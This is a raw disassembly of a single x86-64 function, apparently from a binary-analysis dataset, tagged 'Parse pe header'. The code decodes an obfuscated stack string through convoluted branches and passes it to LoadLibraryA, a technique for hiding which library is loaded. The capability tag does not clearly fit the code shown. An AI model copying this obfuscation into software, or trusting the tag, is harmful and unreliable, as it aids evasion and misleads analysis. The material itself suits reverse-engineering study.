Function at 0x140127790
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 8], rcx
push rbp
push rdi
push r12
push r14
push r15
mov rbp, rsp
sub rsp, 0x50
mov rdi, qword [0x1402cdf18]
xorps xmm0, xmm0
mov rsi, qword [0x1402cdf20]
xor eax, eax
movzx r8d, byte [rbp + 0x30]
movabs r15, 0x4308961948342b0b
movups xmmword [rbp - 0x25], xmm0
mov qword [rbp - 0x15], rax
movabs r14, 0x7fb45012ec4787e7
mov dword [rbp - 0x30], 0xb1bfccc9
movabs r12, 0xc919c24bd89c8121
mov dword [rbp - 0x2c], 0xa36a6f8f
mov word [rbp - 0x28], 0xadaa
mov byte [rbp - 0x26], 0x58
mov rax, rsi
mov r9, rdi
nop word [rax + rax]
xor ebx, ebx
cmp rbx, 0x23
jae 0x14012824d
movzx r11d, byte [rbp + rbx - 0x30]
mov r10d, r11d
cmp rax, rbx
ja 0x140128244
lea rcx, [r9 + 1]
cmp rax, rcx
jae 0x140127850
lea r8, [rbx + r15]
movzx ecx, r10b
and cl, r8b
add cl, cl
sub r8b, cl
sub r8b, 0x4d
add r8b, r11b
jmp 0x140127870
je 0x1401281de
inc rcx
cmp rax, rcx
je 0x1401281bd
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x140128175
nop
cmp r9, rbx
ja 0x14012823b
lea rcx, [r9 + 6]
cmp rax, rcx
jae 0x14012789a
lea rdx, [rbx + r14]
movzx ecx, r10b
and cl, dl
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x51
jmp 0x1401278d0
lea rcx, [r9 + 1]
cmp rax, rcx
je 0x140128158
inc rcx
cmp rax, rcx
je 0x1401280ff
lea rcx, [r9 + 5]
cmp rax, rcx
je 0x1401280e7
lea rcx, [r9 + 8]
cmp rax, rcx
je 0x1401280be
nop dword [rax]
lea rcx, [r9 + rax]
cmp rcx, rbx
jbe 0x140127e4f
nop dword [rax]
lea rcx, [r9 + 5]
cmp rax, rcx
je 0x140127e2f
lea rcx, [r9 + 0x1000]
cmp rax, rcx
je 0x140127e07
lea rcx, [r9 + 1]
cmp rax, rcx
je 0x140127de6
lea rcx, [r9 + 0x80]
cmp rax, rcx
je 0x140127dc6
lea rcx, [r9 + 0x7a]
cmp rax, rcx
je 0x140127dab
lea rcx, [r9 + 0x28]
cmp rax, rcx
je 0x140127d90
lea rcx, [r9 + 0x3e8]
cmp rax, rcx
je 0x140127d70
lea rcx, [r9 + 9]
cmp rax, rcx
je 0x140127d51
lea rcx, [r9 + 0x42]
cmp rax, rcx
je 0x140127d24
lea rcx, [r9 + 4]
cmp rax, rcx
je 0x1401278e0
lea rax, [r9 + 8]
lea r9, [rax + 0x10]
lea rcx, [r9 + 0x7a]
cmp rax, rcx
jb 0x140128220
lea rcx, [r9 + 3]
cmp rax, rcx
jb 0x140128206
lea rcx, [r9 + 0x3e8]
cmp rax, rcx
jb 0x140127ace
lea rcx, [r9 + 0x5a]
cmp rax, rcx
jb 0x140127ab4
lea rcx, [r9 + 0x42]
cmp rax, rcx
jb 0x140127a9a
lea rcx, [r9 + 0x1000]
cmp rax, rcx
jb 0x140127cd0
lea rcx, [r9 + 0x10]
cmp rax, rcx
jb 0x140127c86
lea rcx, [r9 + 0x80]
cmp rax, rcx
jb 0x140127c3f
lea rcx, [r9 + 6]
cmp rax, rcx
jb 0x140127c1c
lea rcx, [r9 + 0x28]
cmp rax, rcx
jb 0x1401278e0
lea rax, [r9 + 0x5a]
lea r9, [rax + 2]
lea rcx, [r9 + 5]
cmp rax, rcx
ja 0x140127bef
lea rcx, [r9 + 0x1000]
cmp rax, rcx
ja 0x140127bd0
lea rcx, [r9 + 1]
cmp rax, rcx
ja 0x140127bb0
lea rcx, [r9 + 0x80]
cmp rax, rcx
ja 0x140127b91
lea rcx, [r9 + 0x7a]
cmp rax, rcx
ja 0x140127b76
lea rcx, [r9 + 0x28]
cmp rax, rcx
ja 0x140127b56
lea rcx, [r9 + 0x3e8]
cmp rax, rcx
ja 0x140127b35
lea rcx, [r9 + 9]
cmp rax, rcx
ja 0x140127b0d
lea rcx, [r9 + 0x42]
cmp rax, rcx
ja 0x140127aed
lea rcx, [r9 + 4]
cmp rax, rcx
ja 0x1401278e0
lea rax, [r9 + 8]
lea r9, [rax + 0x10]
jmp 0x1401278e0
lea edx, [rbx - 7]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
add r8b, 0x31
jmp 0x1401278d0
lea edx, [rbx - 0x1d]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x35
jmp 0x140127870
lea r8d, [rbx - 0x33]
movzx ecx, r11b
and cl, r8b
movzx edx, r11b
add cl, cl
add r8b, 0x65
sub dl, cl
add r8b, dl
jmp 0x140127825
lea r8d, [rbx + 0x38]
movzx ecx, r11b
and cl, r8b
mov edx, reloc.WLDAP32.dll_Ordinal_60
sub dl, cl
movzx r10d, bl
add dl, dl
add dl, r11b
jmp 0x140128190
lea r8d, [rbx + 0x22]
movzx ecx, r11b
and cl, r8b
mov edx, 9
sub dl, cl
inc r9
add dl, dl
dec rbx
add dl, r11b
add r8b, dl
inc rbx
jmp 0x140127812
lea edx, [rbx + 0xc]
movzx ecx, r11b
and cl, dl
dec rbx
add cl, cl
sub r11b, cl
lea r8d, [rdx + r11]
sub r8b, 0x54
inc rbx
jmp 0x140127812
lea r8d, [rbx - 0xa]
movzx ecx, r11b
and cl, r8b
mov edx, reloc.WLDAP32.dll_Ordinal_35
sub dl, cl
movzx r10d, bl
add dl, dl
add dl, r11b
jmp 0x14012811a
lea edx, [rbx - 0x20]
movzx ecx, r11b
and cl, dl
add cl, cl
sub r11b, cl
lea r8d, [rdx + r11]
sub r8b, 0x20
jmp 0x14012813c
lea r8d, [rbx - 0x36]
movzx ecx, r11b
and cl, r8b
mov edx, 0x3d
sub dl, cl
add dl, dl
add dl, r11b
add r8b, dl
jmp 0x14012813f
lea r8d, [rbx - 0x4c]
movzx ecx, r11b
and cl, r8b
mov edx, 0xa
sub dl, cl
movzx r10d, bl
add dl, dl
add dl, r11b
jmp 0x140128059
lea r8d, [rbx - 0x62]
movzx ecx, r11b
and cl, r8b
movzx edx, r11b
add cl, cl
sub r8b, 0x52
sub dl, cl
add r8b, dl
jmp 0x140128084
lea r8d, [rbx - 0x78]
movzx ecx, r11b
and cl, r8b
mov edx, 0x24
sub dl, cl
movzx ecx, byte [rbp + rbx - 0x30]
add dl, dl
add rcx, r9
add dl, r11b
add rbx, rcx
add r8b, dl
inc rbx
jmp 0x140127812
lea edx, [rbx + 0x51]
movzx ecx, r11b
and cl, dl
add cl, cl
sub r11b, cl
lea r8d, [rdx + r11]
sub r8b, 0x37
mov byte [rbp + rbx - 0x30], r8b
inc rbx
jmp 0x140127812
lea r8d, [rbx + 0x3b]
movzx ecx, r11b
and cl, r8b
movzx edx, r11b
add cl, cl
sub dl, cl
add r8b, 0x63
add r8b, dl
cmp r9, 0x40
jb 0x140127c32
movzx edx, r11b
movzx r10d, bl
movzx ecx, r11b
lea r8d, [r10 + 0x62]
and cl, r8b
add cl, cl
sub dl, cl
add dl, r8b
lea r8d, [rdx*2 - 0x5c]
jmp 0x140128193
lea r8d, [rbx + 0x25]
movzx ecx, r11b
and cl, r8b
movzx edx, r11b
add cl, cl
sub dl, cl
sub r8b, 3
add r8b, dl
cmp rax, 0x61
jae 0x14012801d
lea rcx, [r9 + 9]
cmp rax, rcx
jbe 0x140127f9e
lea r8d, [rbx - 0x7a]
movzx ecx, r11b
and cl, r8b
mov edx, Ordinal_46
sub dl, cl
add dl, dl
add dl, r11b
jmp 0x140127c56
lea r8d, [rbx + 0xf]
movzx ecx, r11b
and cl, r8b
movzx edx, r11b
add cl, cl
sub dl, cl
sub r8b, 0x69
add r8b, dl
lea rcx, [r9 + rax]
cmp rcx, 0x40
je 0x140128041
lea rcx, [r9 + 0x80]
cmp rax, rcx
jbe 0x140127efa
lea r8d, [rbx - 0x61]
movzx ecx, r11b
and cl, r8b
movzx edx, r11b
add cl, cl
sub dl, cl
sub r8b, 0x59
jmp 0x140127c9d
lea r8d, [rbx + 0x6a]
movzx ecx, r11b
and cl, r8b
mov edx, reloc.WS2_32.dll_listen
sub dl, cl
movzx ecx, byte [rbp + rbx - 0x30]
add dl, dl
add rcx, r9
add dl, r11b
add rbx, rcx
add r8b, dl
inc rbx
jmp 0x140127812
lea r8d, [rbx + 0x54]
movzx ecx, r11b
and cl, r8b
movzx edx, r11b
add cl, cl
sub r8b, 0x4c
sub dl, cl
add r8b, dl
jmp 0x140128084
movzx r10d, bl
movzx ecx, r11b
mov edx, Ordinal_41
lea r8d, [r10 + 0x3e]
and cl, r8b
sub dl, cl
add dl, dl
add dl, r11b
jmp 0x140128059
lea edx, [rbx + 0x28]
movzx ecx, r11b
and cl, dl
add cl, cl
sub r11b, cl
lea r8d, [rdx + r11]
sub r8b, 0x18
jmp 0x14012813f
lea edx, [rbx + 0x12]
movzx ecx, r11b
and cl, dl
add cl, cl
sub r11b, cl
lea r8d, [rdx + r11]
sub r8b, 0x7e
jmp 0x14012813c
movzx r10d, bl
movzx ecx, r11b
mov edx, recv
lea r8d, [r10 - 4]
and cl, r8b
sub dl, cl
add dl, dl
add dl, r11b
jmp 0x14012811a
lea edx, [rbx - 0x1a]
movzx ecx, r11b
and cl, dl
dec rbx
add cl, cl
sub r11b, cl
lea r8d, [rdx + r11]
sub r8b, 0x4a
inc rbx
jmp 0x140127812
lea r8d, [rbx - 0x30]
movzx ecx, r11b
and cl, r8b
mov edx, Ordinal_41
sub dl, cl
inc r9
add dl, dl
dec rbx
add dl, r11b
add r8b, dl
inc rbx
jmp 0x140127812
movzx r10d, bl
movzx ecx, r11b
movzx edx, r11b
lea r8d, [r10 - 0x46]
and cl, r8b
add cl, cl
sub dl, cl
sub r8b, 0x16
jmp 0x140128190
lea rcx, [r9 + 0x20]
cmp rax, rcx
jae 0x140127e74
lea r8d, [rbx + 0xb]
movzx ecx, r11b
and cl, r8b
movzx edx, r11b
add cl, cl
sub dl, cl
sub r8b, 0x4d
jmp 0x140127ce7
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x140127eaa
lea r8d, [rbx - 0x32]
movzx ecx, r11b
and cl, r8b
mov edx, Ordinal_50
sub dl, cl
movzx ecx, byte [rbp + rbx - 0x30]
add dl, dl
add rcx, r9
add dl, r11b
add rbx, rcx
add r8b, dl
inc rbx
jmp 0x140127812
inc rcx
cmp rax, rcx
jne 0x140127ed2
movzx r10d, bl
movzx ecx, r11b
mov edx, reloc.WS2_32.dll_setsockopt
lea r8d, [r10 - 6]
and cl, r8b
sub dl, cl
add dl, dl
add dl, r11b
jmp 0x140128059
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x140127cea
lea edx, [rbx + 0x10]
movzx ecx, r11b
and cl, dl
add cl, cl
sub r11b, cl
lea r8d, [rdx + r11]
sub r8b, 0x70
jmp 0x14012813f
lea rdx, [r9 + 1]
cmp rax, rdx
jne 0x140127f23
movzx r10d, bl
movzx ecx, r11b
movzx edx, r11b
lea r8d, [r10 - 0x4b]
and cl, r8b
add cl, cl
sub dl, cl
add r8b, 0xd
jmp 0x140128190
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x140127f4d
lea edx, [rbx - 0x1f]
movzx ecx, r11b
and cl, dl
dec rbx
add cl, cl
sub r11b, cl
lea r8d, [rdx + r11]
sub r8b, 0x27
inc rbx
jmp 0x140127812
lea rcx, [rdx + 1]
cmp rax, rcx
jne 0x140127f76
movzx r10d, bl
movzx ecx, r11b
movzx edx, r11b
lea r8d, [r10 - 9]
and cl, r8b
add cl, cl
sub dl, cl
add r8b, 0x3f
jmp 0x14012811a
lea rcx, [r9 + 5]
cmp rax, rcx
jne 0x140127ca0
lea edx, [rbx + 0x23]
movzx ecx, r11b
and cl, dl
add cl, cl
sub r11b, cl
lea r8d, [rdx + r11]
add r8b, 0xb
jmp 0x14012813f
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x140127fd0
lea edx, [rbx - 0x64]
movzx ecx, r11b
and cl, dl
add cl, cl
sub r11b, cl
movzx ecx, byte [rbp + rbx - 0x30]
add rcx, r9
add rbx, rcx
lea r8d, [rdx + r11]
sub r8b, 0x44
inc rbx
jmp 0x140127812
inc rcx
cmp rax, rcx
jne 0x140127ff5
movzx r10d, bl
movzx ecx, r11b
movzx edx, r11b
lea r8d, [r10 - 0x38]
and cl, r8b
add cl, cl
sub dl, cl
sub r8b, 0x78
jmp 0x140128059
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x140127c59
lea edx, [rbx - 0x22]
movzx ecx, r11b
and cl, dl
add cl, cl
sub r11b, cl
lea r8d, [rdx + r11]
sub r8b, 0x12
jmp 0x14012813f
movzx edx, byte [rbp + rbx - 0x30]
movzx r10d, bl
movzx ecx, r11b
lea r8d, [r10 + 0x78]
and cl, r8b
add cl, cl
sub dl, cl
add dl, r11b
sub r8b, 0x48
jmp 0x14012811a
movzx r10d, bl
movzx ecx, r11b
mov edx, reloc.WS2_32.dll_ntohs
lea r8d, [r10 - 0x72]
and cl, r8b
sub dl, cl
add dl, dl
add r8b, dl
sub r10b, 0x67
inc r9
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
sub r10b, 0x2f
add r10b, r11b
movzx ecx, r10b
mov byte [rbp + rbx - 0x30], cl
add rcx, r9
sub rbx, rcx
lea edx, [rbx - 0x5c]
inc rax
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
mov rcx, 0xffffffffffffffff
sub rcx, rax
sub dl, 0x7c
add dl, r11b
mov byte [rbp + rbx - 0x30], dl
add rbx, rcx
movzx ecx, byte [rbp + rbx - 0x30]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x140127812
lea edx, [rbx - 0x53]
movzx ecx, r11b
and cl, dl
add cl, cl
sub r11b, cl
movzx ecx, byte [rbp + rbx - 0x30]
add rcx, r9
add rbx, rcx
lea r8d, [rdx + r11]
add r8b, 0x45
inc rbx
jmp 0x140127812
lea edx, [rbx + 0x55]
movzx ecx, r11b
and cl, dl
add cl, cl
sub r11b, cl
lea r8d, [rdx + r11]
sub r8b, 0x53
jmp 0x14012813c
movzx r10d, bl
movzx ecx, r11b
movzx edx, r11b
lea r8d, [r10 + 0x3f]
and cl, r8b
add cl, cl
sub dl, cl
add r8b, 0x47
add r8b, dl
sub r10b, 0x7d
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
add r10b, 0x6b
add r10b, r11b
add r10b, r8b
mov byte [rbp + rbx - 0x30], r10b
add rax, r9
movzx ecx, r8b
mov rdx, 0xffffffffffffffff
sub rdx, rcx
add rbx, rdx
inc rbx
jmp 0x140127812
movzx r10d, bl
movzx ecx, r11b
movzx edx, r11b
lea r8d, [r10 - 3]
and cl, r8b
add cl, cl
sub dl, cl
add r8b, 0x15
jmp 0x140128190
movzx r10d, bl
movzx ecx, r11b
movzx edx, r11b
lea r8d, [r10 - 0x2f]
and cl, r8b
add cl, cl
sub dl, cl
add r8b, 0x49
add r8b, dl
add r10b, 0x6d
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
add r10b, 5
add r10b, r11b
mov byte [rbp + rbx - 0x30], r10b
inc r9
dec rbx
inc rbx
jmp 0x140127812
lea edx, [rbx - 0x5b]
movzx ecx, r11b
and cl, dl
add cl, cl
sub r11b, cl
lea r8d, [rdx + r11]
add r8b, 0x7d
dec rbx
inc rbx
jmp 0x140127812
lea rcx, [rbx + r12]
and r10b, cl
add r10b, r10b
sub cl, r10b
lea r8d, [r11 + rcx]
add r8b, 0x19
movzx ecx, byte [rbp + rbx - 0x30]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x140127812
sub bl, 0x49
movzx ecx, r11b
and cl, bl
add cl, cl
sub r11b, cl
lea r8d, [rbx + r11]
dec r8b
jmp 0x140127810
sub bl, 0x5f
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r8d, [rbx + r11]
sub r8b, 0x67
jmp 0x140127804
lea rcx, [rbp + 0x14ceb34]
jmp 0x140128251
lea rcx, [rbp + 0x41163f]
jmp 0x140128251
lea rcx, [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret